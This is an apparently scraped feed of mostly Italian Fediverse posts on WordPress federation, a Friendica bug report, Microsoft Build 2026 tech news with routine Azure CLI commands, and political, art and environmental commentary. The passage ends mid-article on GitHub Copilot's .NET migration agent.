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To be honest, I've been resting the whole day so I missed WordCamp Europe. Just learnt that next year it'll be in Malaga, Spain. Quite good/friendly country I think, so I'm taking the chance. I'm building some good experiences which, if they succeed, I'd really like to share them with public in an international event. It would be a real boost for me. #WordPress #ActivityPub
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An Art Nouveau winding staircase decorated with metal flowers and vines, designed by architect Ede Magyar, at Reök Palace in Szeged, Hungary (1907)

#ArtNouveau #Architecture

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Sentirsi raccontare a tavola la vicenda dei #PentagonoPapers da Robert - il figlio allora quindicenne di Daniel Ellsberg che lo aiutò a fotocopiare (!) i documenti sul Vietman sottratti al Pentagono - è stata per me un'esperienza impagabile


Ventinove minuti di denuncia sulle armi nucleari, con Daniel Ellsberg un anno prima di morire.

youtube.com/watch?v=xofgctP2hT…

#Ellsberg #arminucleari #video


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A Bengasi l'Italia costruisce con fondi Ue un centro soccorsi per Haftar. E lì due suoi cittadini restano in cella da clandestini www.lanotiziagiornale.it/caso-centron... (il mio articolo per @lanotizia_giornale)

Caso Centrone-Alberizia, parad...

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Vogliamo vedere il Fediverso come un luogo in cui gli scambi sono più civili, basati sul rispetto.

Spesso è così – ma ogni tanto si inciampa.

Così anche qui arriva il commento polemico, sarcastico, inutilmente aggressivo. C'è chi travisa volontariamente un messaggio giusto per avere un bersaglio a tiro.

Forse è il caso di ricordare che mantenere un tono civile ed educato significa non insultare, non aggredire. Rimpiazzare civiltà o educazione con decoro vuol dire cercare un modo per attaccare facilmente.

Civiltà non significa decoro. Il rispetto non è nemico della chiarezza. Se qualcuno ha bisogno di confonderli per attaccare, forse il problema non è chi chiede rispetto.

in reply to ro

@snow il problema non è chi chiede rispetto, e forse neanche il social che usi. Perché il fediverso è un mezzo di comunicazione, non una zona di comfort. Quindi se arrivano persone abituate a "pungere" in altri ambienti (compreso il reale), qua non possiamo sperare che si comportino in modo differente perché non sono abituate a farlo, probabilmente da quando erano alte una spanna. Morale della favola, non si può insegnare all'immondizia a non puzzare.
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Parlavo un paio di giorni fa della strategia russa di confondere il vero e il falso sotto la pretesa apparentemente giustificata del mettere sempre le cose in prospettiva.
Ecco: vero è quando c'è un'indagine che dimostra i fatti con vere prove e veri documenti.
(Falso, d'altra parte, è quello che spesso piace alla Russia, che produce false prove e falsi documenti per confondere l'opinione pubblica e costruire la pretesa di una differente prospettiva, che poi a sua volta andrebbe smentita con vere prove e veri documenti, ma quando ormai circola non la riacchiappi più.)

"I documenti puntano il dito contro la Social Design Agency (SDA), un’agenzia di PR russa già sanzionata da Stati Uniti, Regno Unito e UE per precedenti campagne di influenza, e contro l’Amministrazione presidenziale russa, i cui funzionari sarebbero stati a supervisionare il lavoro dell’agenzia."

valigiablu.it/attacchi-cogniti…

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Recent Friendica issue following NodeBB Activitypub groups (categories)

@Friendica Support

I noticed a problem that arose recently (no more than three or four months ago).

In practice, when I try to follow a NodeBB Activitypub group (citiverse.it instance) from Friendica (poliverso.org instance), Friendica doesn't recognize the group as an Activitypub actor and gives me this error message.

I'm experiencing this problem with both old and new groups.

For example, with the group @Bluesky, which is a few months old, at the link citiverse.it/category/55, it's recognized, but I can't join it. When I try to join, I get this error message.

Exception thrown in /var/www/friendica/src/Module/Contact/Profile.php:197
Stack trace:
#0 /var/www/friendica/src/BaseModule.php(251): Friendica\Module\Contact\Profile->content()
#1 /var/www/friendica/src/App.php(595): Friendica\BaseModule->run()
#2 /var/www/friendica/src/App.php(190): Friendica\App->runFrontend()
#3 /var/www/friendica/index.php(22): Friendica\App->processRequest()
#4 {main}

With a newly created group, for example, the @wordpress@citiverse.it group at the link citiverse.it/category/231, I can't even capture it with the search function; and if I try to insert the link, it only captures the RSS actor.

What do you think the problem might be?

@Michael 🇺🇦 @julian

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Ho creato un gruppo di discussione focalizzato sulla federazione di Wordpress. Che ne pensate?


Mi farebbe piacere se chi ha un blog federato o, più in generale, chiunque si interessi a questo argomento, partecipasse alle discussioni di questo gruppo. Che ne pensate?

Mi farebbe piacere se chi ha un blog federato o, più in generale, chiunque si interessi a questo argomento, partecipasse alle discussioni di questo gruppo.

Che ne pensate?

in reply to Elena Brescacin

Ho creato un gruppo di discussione focalizzato sulla federazione di Wordpress. Che ne pensate?


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@elettrona@poliversity.it sicuramente i selfhoster sono i soggetti con le esperienze più interessanti.

Sarebbe interessante creare una serie di guide collettive per federare il proprio blog. Qualcosa di semplice come la guida che @acor3@mastodon.uno ha scritto su suo blog


Ora vedremo come fare affinché il tuo blog possa implementare il protocollo ActivityPub. I tuoi lettori potranno seguire i post del tuo blog su Mastodon e altre piattaforme federate che supportano ActivityPub, attualmente il plugin supporta:

# installare
Installaiamo il plugin ActivityPub By Matthias Pfefferle
# prendere il proprio Fediverse Profile identifier
Se apriamo il profilo del nostro utente, in basso troveremo queste informazioni


# vedere i followers
alla pagina
/wp-admin/users.php?page=activitypub-followers-list
è possibile vedere gli utenti che ci seguono
# problemi noti ## Yoast SEO
Se si usa il plugin Yoast SEO l’url della pagina del profilo dell’autore viene riscritta
acortech.it/author/admin/
e quindi non funziona il follow da instanze mastodon

infatti nel pannello site Healt
/wordpress/wp-admin/site-health.php
dice


### come risolvere
Seguendo la guida di yoast possiamo abilitare gli archivi dei post dell’utente andare in /wp-admin/admin.php?page=wpseo_titles#top#archives

e abilitare in questo modo:

#fediverso #mastodon

acortech.it/2022/11/19/come-fa…


macfranc reshared this.

in reply to macfranc

Io ne ho scritta una su come creare un multilingua di base usando gutenberg. Sistema che sto dismettendo in quanto oramai questo tipo di struttura è per me obsoleta, e la voglio rifare in modo più scalabile e stabile. Te la condivido in altro modo, devo capire come, perché qui su questo spazio, i post vanno via dopo 2 settimane. Ora è su WordPress sul sito di produzione. Ma se interessa la piazzo su feddit. O su citiverse (dovrei avere l'account pure lì)
in reply to macfranc

@wordpress

Io di ActivityPub e Fediverso, ho parlato al WordCamp Pisa 2025.

cc @acor3

wordpress.tv/2025/12/15/activi…

Trames Venenosus reshared this.

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nodebb - Collegamento all'originale

macfranc

Ho creato un gruppo di discussione focalizzato sulla federazione di Wordpress. Che ne pensate?


@unruhe@mastodon.social ormai i blog federati con il plugin di Matthias Pfefferle funzionano benissimo, ma hanno iniziato ad avere anche una maggiore complessità e l'integrazione con gli altri plugin legati alla federazione (Friends, Eventbridge, Nodeinfo, EnableAppMastodon) o non legati alla federazione (OpenGraph, Yoast, Supercache, etc) è diventata un elemento importante da gestire. Per non parlare dell'aumento del carico di lavoro del server.

macfranc reshared this.

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Ringraziamo questo governo anche per aver introdotto l'educazione sessuoaffettiva per quelli a cui non serve, con un meccanismo che esclude chi ne avrebbe più bisogno, così che alla nostra società possa essere garantito il rifornimento di mascolinità tossica necessario a garantire quel paio di donne uccise a settimana che ci mette al riparo dalla mefistofelica ideologia gender.
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Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes
#tech
spcnet.it/azure-container-linu…
@informatica


Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes


A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?


Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar


ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)


Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade


Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft


Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS


ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking


Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

  • Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
  • Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
  • Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.


Conclusione


Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026


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Sono ad #Aviano,oggi con un gruppo di associazioni e cittadini parleremo davanti a #BaseAviano, dopo che 16 cittadini,incluso il fisico #CarloRovelli, hanno presentato denuncia contro presenza #ArmiNucleariUSA.

Mi conforta vedere la presenza di una nota trasmissione d'inchiesta

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IL SUV AL CONTRARIO

@news
La manovra pubblicitaria è riuscita meglio di quella stradale.
L'articolo IL SUV AL CONTRARIO proviene da GIANO NEWS.

#EDITORIALI

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𝗜 𝗺𝗮𝘀𝘀𝗶 𝗴𝗶𝗴𝗮𝗻𝘁𝗶 𝗱𝗶 𝗖𝗮𝗽𝗼 𝗠𝘂𝗿𝗼 𝗱𝗶 𝗣𝗼𝗿𝗰𝗼 𝗶𝗻 𝗦𝗶𝗰𝗶𝗹𝗶𝗮

Sulla sommità delle scogliere di Capo Muro di Porco, sud-est della Sicilia, si trovano accumuli di massi di dimensioni eccezionali sulla cui origine da tempo i ricercatori si interrogano. Uno studio recente, condotto dai ricercatori INGV con diverse università italiane e straniere, ha gettato nuova luce su questi depositi, utilizzandoli come archivi delle tempeste del passato.
👉 buff.ly/StZquEq

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useful links on the genocide and the genocidal state


In an exclusive interview with Analyst News, the International Criminal Court’s Chief Prosecutor Karim Khan details the threats and sanctions against him, his family and the court for his arrest warrants against Israeli leaders for war crimes.
facebook.com/share/v/1aLo7EVnU…

a maggio 2026 record di palestinesi uccisi da israele
facebook.com/share/17eSCkrkWR/

Palestine won overwhelming support at the International Labour Organization, defeating an Israeli-backed effort to revoke its expanded status
differx.noblogs.org/2026/06/05…

children in israeli prisons, a clip from Stone Cold Justice, John Lyons’ investigation for Four Corners (ABC, 2014). It exposed Israel’s industrialised cruelty way before Oct 7th. It includes a mention to a UNICEF report about the harsh conditions of children’s life in detention
facebook.com/reel/206077385487…

bambini colpiti in testa e al cuore. un’indagine su 114 casi provati che ha vinto il Premio della Stampa Europea (il giornale è olandese: de Volkskrant) facebook.com/share/198fVeU6U3/ e facebook.com/share/17kWTpMk1e/ e facebook.com/share/p/18ZvjL7Ac…

fosforo bianco su Libano e Gaza
facebook.com/share/1CPCEo2iHy/

on the effects of knowing
facebook.com/share/p/1H7GYa5iA…

channel 14: israelis bragging about the rape dogs
instagram.com/reel/DYmK2nPlbRH

1+2+3 = 6 million people displaced by the israeli (and the united states’) criminal regime, also known as the Epstein coalition
instagram.com/reel/DWjlN1bkqiL… (Chis Hedges explains those are the numbers)

Questa voce è stata modificata (2 settimane fa)
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“social art”, di tom marioni, a ‘la finestra di antonio syxty’


https://www.spreaker.com/episode/social-art-l-arte-e-morta-ancora-una-volta-di-tom-marioni–72171519?utm_medium=app&utm_campaign=radio_share_link&utm_source=radioios

https://www.spreaker.com/episode/social-art-l-arte-e-morta-ancora-una-volta-di-tom-marioni–72171519

Social Art, di Tom Marioni, approda a ‘La Finestra di Antonio Syxty’.
Le riflessioni su arte e vita, espresse nel libro come un flusso di memorie, sono restituite da un gruppo di attori di teatro, introdotti da una speciale (e inedita) lettura eseguita da Marioni.
Le voci sono quelle di: Tommaso De Rienzo, Susanna Russo, Claudio Orlandini, Antonio Syxty, Giuseppe Lanino, Marco Balbi e Gaetano Callegaro.
L’arte di Tom Marioni e il suo empirismo concettuale (e relazionale) diventano così materia di una interpretazione teatrale, e non solo, come accade normalmente, di una interpretazione curatoriale.
Grazie a Antonio Syxty, a MTM – Manifatture teatrali milanesi, e a chi ha partecipato alla lettura” (Pasquale Polidori)

Il libro: Tom Marioni, Social Art (a cura di P. Polidori, ed. Cambiaunavirgola, 2026) spazioetico.it/attivita/cambia…
#AntonioSyxty #art #arte #arteEVita #attori #ClaudioOrlandini #empirismoConcettuale #empirismoRelazionale #flussoDiMemorie #GaetanoCallegaro #GiuseppeLanino #LaFinestraDiAntonioSyxty #lettura #ManifattureTeatraliMilanesi #MarcoBalbi #MTM #MTMManifattureTeatraliMilanesi #PasqualePolidori #SocialArt #SusannaRusso #teatro #TomMarioni #TommasoDeRienzo

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Qual è secondo te il problema più grave che ci possiamo aspettare nel futuro dell'esplorazione spaziale?

@astronomia

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#6giugno - #D-Day

Lo #sbarco delle truppe alleate sulle coste della #Normandia rappresentò una svolta decisiva verso la liberazione dal #nazismo. Tuttavia, la sua complessa preparazione mise a dura prova la cosiddetta Grande Alleanza e la questione dell'apertura di un secondo fronte in Europa divenne una costante fonte di tensioni, alimentando la profonda diffidenza di #Stalin nei confronti di #Roosevelt e #Churchill.

Leggi l'articolo in @OpenAccess qui: riviste.unimi.it/index.php/NAD…

@cultura

in reply to Milano University Press

Fornito da @altbot, generato localmente e privatamente utilizzando Gemma4:26b

@milanoup Un'immagine in bianco e nero che mostra una fotografia di soldati su una spiaggia con imbarcazioni sullo sfondo. Il testo bianco sovrapposto recita: recita: "In the name of history? Normandy landings celebrations and the troubled relations with Moscow, yesterday and today". Sotto il titolo, compaiono i nomi "Daniela Vignati" e "Mariele Merlati". Nella parte inferiore è presente il testo: "Nuovi Autoritarismi E Democrazie: Diritto, Istituzioni, Società Vol. 6 No. 1 (2024)_ DOI: 10.54103/2612-6672/23967". In fondo all'immagine, accanto all'icona di un libro aperto, si legge "Milano University Press".

Una fotografia in bianco e nero mostra soldati che camminano nell'acqua bassa vicino a una spiaggia. In primo piano, una persona in uniforme e con elmetto si muove verso sinistra attraverso l'acqua. Altre persone in uniforme, con vari equipaggiamenti, avanzano attraverso l'acqua in secondo piano. Sullo sfondo, si vedono le sagome di grandi navi in mare. Il testo nell'immagine riporta: "6 GIUGNO 1944", "D-DAY" e "Gli articoli di Milano University Press".

🌱 Energia utilizzata: 0.905 Wh

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“oggetti, sculture e tessiture” (g. garrera): in mostra al mattatoio fino al 2 agosto le opere di federica luzzi e naoya takahara


mattatoioroma.it/mostra/federi…
#art #arte #FedericaLuzzi #GiuseppeGarrera #Mattatoio #NaoyaTakahara

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“israel could solve its p.r. problem by simply ceasing to be evil”, a must-read by caitlin johnstone


Caitlin Johnstone

Israel’s +972 Magazine reports that the Israeli military establishment has launched a training program designed to “influence public consciousness” around the world, with courses aimed at training hundreds of operatives per year in strategies for “actively disrupting or manipulating the beliefs, attitudes, and behaviors of target audiences.” …

[em][mark]read the full article here: [/mark][/em]
caitlinjohnst.one/p/israel-cou…
#972Magazine #AI #bot #bots #chatGPT #genocide #hasbara #Israel #Palestine #propaganda #troll #trolls

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federconsumatori.it/caporalato…
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oggi, 6 giugno, a roma: presentazione di “patrizia vicinelli. poesia arte azione”, di jonida prifti


6 giugno_ presentazione 'patrizia vicinelli', di jonida prifti
cliccare per ingrandire

Patrizia Vicinelli. Poesia arte azione, di Jonida Prifti
Sabato 6 giugno, h. 17:00 / 18:00

Jonida Prifti in dialogo con Giuliana Benassi
Bar VOLO (Via Francesco Laparelli, 65 – Roma)

Presentazione del nuovo libro di Jonida Prifti edito da
Metilene Edizioni

Il volume ripercorre il lavoro e la vita di una figura poliedrica e forse unica nel quadro della letteratura e dell’arte italiana del secondo Novecento. Poeta, performer e artista visiva, Patrizia Vicinelli ha fatto della presenza viva e della voce il centro della propria ricerca, muovendosi tra pagina e scena in una poesia insieme sonora, grafica e corporea.

metilene-edizioni.it/prodotto/…
dalle 18:00 alle 21:00 a seguire
dj set di Cupa cupa + Jonida Prifti
#arte #azione #BarVolo #CupaCupa #JonidaPrifti #MetileneEdizioni #PatriziaVicinelli #poesia #scritturaDiRicerca #scrittureDiRicerca

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Il problema non è solo il mozzicone. Il problema è essere arrivati a considerare normale gettarlo ovunque.

-- fallo girare (il video, non il mozzicone) 🙂 --

@ambiente
#plasticpollution #plasticfree #ecologia #ambiente

Unknown parent

mastodon - Collegamento all'originale

Gert

@ambiente non so quanto sia praticabile la tua soluzione. Potrebbe costare di più, avere un impatto sul costo finale al consumo. Potrebbe avere un impatto ambientale rispetto al reperimento dei materiali "naturali", o forse non sarebbe altrettanto efficace come filtro... io nemmeno fumo. In ogni caso, anche fossero usati materiali biodegradabili, non vedo perché buttare a terra il mozzicone. Non c'entra niente la biodegradabilità, è proprio ottuso il gesto e l'abitudine.
Questa voce è stata modificata (2 settimane fa)
in reply to Gert

condivido quanto espresso nel video. Fumare è una scelta personale, che diventa un problema di tutti quando si usa il pianeta come un cestino dell'immondizia per i propri vizi. Esistono i cestini e se non si hanno i cestini a portata di mano, esistono le tasche. A me capita di usarle e spesso mi fermo un paio di secondi per svuotare dai filtri di carta. Quelli usati per le canne, che uso nelle sigarette per invogliarmi a smettere di fumare e foraggiare l'industria del tabacco
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Il Ministero della Istruzione francese estende #Nextcloud a 1,2 milioni di utenti.

Il piano include insegnanti e amministratori nei servizi centrali e regionali.

Ecco i motivi:
- Servizio in esecuzione indipendente: nessuna terza parte può spegnere il servizio
- Piena sovranità dei dati: il Ministero controlla tutti i dati degli utenti e le infrastrutture
- Collaborazione con Nextcloud sullo sviluppo di roadmap e funzionalità

Ascolta l'intervista a Benoît Piédallu

softwareliberoliguria.org/il-m…

Questa voce è stata modificata (2 settimane fa)
in reply to Elena ``of Valhalla''

@valhalla @fuss - conosciamo molto bene il lavoro della provincia autonoma di Bolzano. La settimana scorsa abbiamo invitato @opavlos a presentare l'esperienza con le scuole di Bolzano ai rappresentanti del Comune di Genova e della Regione Liguria. Assieme a lui c'era anche Italo Vignoli. Abbiamo messo a disposizione le slide e i video dei loro interventi. Li puoi scaricare da questo link: softwareliberoliguria.org/il-p…
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«L’Italia ha occupato il Consiglio di Sicurezza per sette bienni, l’ultimo nel 2017 spartito con i Paesi Bassi, e oggi siede fuori dalla stanza dove si decide. Sulla guerra all’Iran Giorgia Meloni ha fatto la cosa più italiana possibile: tutto e il contrario di tutto. Al G7 del giugno 2025, in Canada, si disse favorevole al rovesciamento del regime di Teheran. Tre giorni dopo, alla Camera, chiedeva a Israele di fermare «immediatamente» le violenze a Gaza, «drammatiche e inaccettabili». Sull’attacco a Teheran, invece, nessuna posizione: “non ho gli elementi”, disse».
mastodon.uno/@giuliocavalli/11…


La Germania perde per la prima volta il seggio al Consiglio di Sicurezza dell'Onu: paga il sostegno a Israele. L'Italia è messa pure peggio

lanotiziagiornale.it/il-sosteg…

(il mio articolo per @lanotizia_giornale)


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"La tattica di Rama è sostenere che le preoccupazioni ambientali siano un pretesto per attaccare Trump, mentre le proteste sono anzitutto contro di lui".

Beh ma fosse anche solo per quello io a 'sta gente comunque glela stringerei la mano.


Il primo ministro albanese ha sminuito le proteste contro il resort del genero di Trump
https://www.ilpost.it/2026/06/05/primo-ministro-albania-contro-proteste/?utm_source=flipboard&utm_medium=activitypub

Pubblicato su News @news-ilPost


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Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise
#tech
spcnet.it/microsoft-build-2026…
@informatica


Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise


Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero


A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

  • MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
  • MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
  • MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
  • MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
  • Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise


Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati


Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft


I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

  • GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
  • Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
  • Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
  • Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.


Trust, governance e sovranità dei dati


Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin


Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

  • Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
  • Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
  • Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
  • AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.


Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News


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GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant
#tech
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@informatica


GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant


A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più


Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization


L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

  1. Si apre il progetto o la solution da migrare in Visual Studio.
  2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
  3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
  4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
  5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati


L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target


Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

  • ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
